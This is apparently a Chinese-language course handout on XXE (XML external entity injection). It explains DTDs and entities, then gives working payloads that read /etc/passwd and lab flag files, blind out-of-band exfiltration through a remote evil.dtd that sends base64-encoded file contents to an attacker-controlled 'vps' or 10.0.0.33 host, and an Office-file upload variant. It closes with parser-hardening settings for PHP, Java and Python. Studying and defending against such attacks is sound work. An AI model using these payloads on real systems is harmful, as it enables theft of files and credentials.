英文简称:XXE
英文全称:XML Extension Entity Injection
中文全称:XML 外部实体注入
XML是⼀种⾮常流⾏的标记语⾔。它⽤于配置⽂件,⽂档格式(如OOXML,ODF,PDF,RSS,…),图像格式(SVG, EXIF标题)和⽹络协议(WebDAV,CalDAV,XMLRPC,SOAP,XMPP,SAML, XACML,…) 常⻅的xml注⼊攻击如下所示:
攻击原理主要是: 在解析外部实体的过程中,XML解析器可以根据URL中指定的⽅案(协议)来查询各种⽹络协议和服务(DNS,FTP, HTTP,SMB等)。 外部实体对于在⽂档中创建动态引⽤⾮常有⽤,这样对引⽤资源所做的任何更改都会在⽂档中⾃动更 新。 但是,在处理外部实体时,可以针对应⽤程序启动许多攻击。 这些攻击包括泄露本地系统⽂件,这些⽂件可能包含密 码和私⼈⽤户数据等敏感数据,或利⽤各种⽅案的⽹络访问功能来操纵内部应⽤程序。 通过将这些攻击与其他实现缺陷相 结合,这些攻击的范围可以扩展到客户端内存损坏,任意代码执⾏,甚⾄服务中断,具体取决于这些攻击的上下⽂。
DTD: XML ⽂档有⾃⼰的⼀个格式规范,这个格式规范是由⼀个叫做 DTD(document type definition)
<?xml version="1.0"?>//这⼀⾏是 XML ⽂档定义
<!DOCTYPE message [
<!ELEMENT message (receiver ,sender ,header ,msg)>
<!ELEMENT receiver (#PCDATA)>
<!ELEMENT sender (#PCDATA)>
<!ELEMENT header (#PCDATA)>
<!ELEMENT msg (#PCDATA)>
]>
对应的xml:
<message>
<receiver>Myself</receiver>
<sender>Someone</sender>
<header>TheReminder</header>
<msg>This is an amazing book</msg>
</message>
xml实体⼀般分为两种:内部实体和外部实体;
外部实体:
<!DOCTYPE 根元素 SYSTEM "⽂件名">
或者
<!DOCTYPE 根元素 PUBLIC "public_ID" "⽂件名”>
实体引⽤:
1、通⽤实体: ⽤ &实体名; 引⽤的实体,他在DTD 中定义,在 XML ⽂档中引⽤
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE updateProfile [
<!ENTITY file SYSTEM "file:///c:/windows/win.ini">
]>
<updateProfile>
<firstname>Joe</firstname>
<lastname>&file;</lastname>
...
</updateProfile>
2、参数实体:
(1)使⽤ % 实体名(这⾥⾯空格不能少) 在 DTD 中定义,并且只能在 DTD 中使⽤ %实体名;
引⽤
(2)只有在 DTD ⽂件中,参数实体的声明才能引⽤其他实体
(3)和通⽤实体⼀样,参数实体也可以外部引⽤
<!ENTITY % an-element "<!ELEMENT mytag (subtag)>">
<!ENTITY % remote-dtd SYSTEM "http://somewhere.example.org/remote.dtd">
%an-element;
%remote-dtd;
常⻅的xxe漏洞利⽤⽅式
1、有回显的敏感⽂件读取:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE any [
<!ENTITY a SYSTEM "file:///etc/passwd">
]>
<root>
<user>&a;</user>
<pass>123456</pass>
</root>
2、⽆回显本地敏感⽂件读取;
需要vps服务 evil.dtd⽂件
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///D:/test.txt">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://vps?p=%file;'>">
POC:
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://vps/evil.dtd"> %remote; %int; %send;
]>
我们从 payload 中能看到 连续调⽤了三个参数实体 %remote;%int;%send;,这就是我们的利⽤顺序,%remote 先调⽤, 调⽤后请求远程服务器上的 test.dtd ,有点类似于将 test.dtd 包含进来,然后 %int 调⽤ test.dtd 中的 %file, %file 就会 去获取服务器上⾯的敏感⽂件,然后将 %file 的结果填⼊到 %send 以后(因为实体的值中不能有 %, 所以将其转成html实 体编码 %),我们再调⽤ %send; 把我们的读取到的数据发送到我们的远程 vps 上,这样就实现了外带数据的效果,完 美的解决了 XXE ⽆回显的问题。
3、⽂件上传的场景: Microsoft Office2007 版本引⼊新的开发xml⽂件格式,不正确的读取07格式的Microsoft office格式⽂件存在xxe攻击 攻击步骤:
1、新建office⽂档,如test.xlsx
2、修改后缀为:test.zip
3、修改content-type⽂件:
<!DOCTYPE xxe [
<!ENTITY a SYSTEM “http://vps">
]>
<xxe>&a;</xxe>
4、查看vps是否存在访问记录,如果存在,则证明存在xxe漏洞 靶机课程演示
1、php直接回显
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE any [
<!ENTITY a SYSTEM "file:///opt/flag/flag1">
]>
<root>
<user>&a;</user>
<pass>1</pass>
</root>
2、php盲注:
1)搭建vps服务器:nick02.dtd
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/opt/flag/flag2">
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://10.0.0.33:80/index.html/?%file;'>">
2)构造poc:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://10.0.0.33:80/nick02.dtd">
%remote;
%all;
%send;
]>
3、java回显
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE any [
<!ENTITY a SYSTEM "file:///opt/flag/flag3">
]>
<root>
<user>&a;</user>
<pass>1</pass>
</root>
4、java 盲注
1)搭建vps服务器:nick04.dtd
<!ENTITY % file SYSTEM "file:///opt/flag/flag2">
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://10.0.0.33:80/index.html/?%file;'>">
2),构造poc:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://10.0.0.33:80/nick04.dtd">
%remote;
%all;
%send;
]>
5、上传⽂件场景
1)新建xlsx⽂件
2)构造poc
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://10.0.0.33:80/nick05.dtd">
%remote;
%all;
%send;
]>
3)上传⽂件
4)观察log⽇志,获取flag值 xxe注⼊漏洞防御⽅式
1.PHP:
libxml_disable_entity_loader(true);
2.JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
3.Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))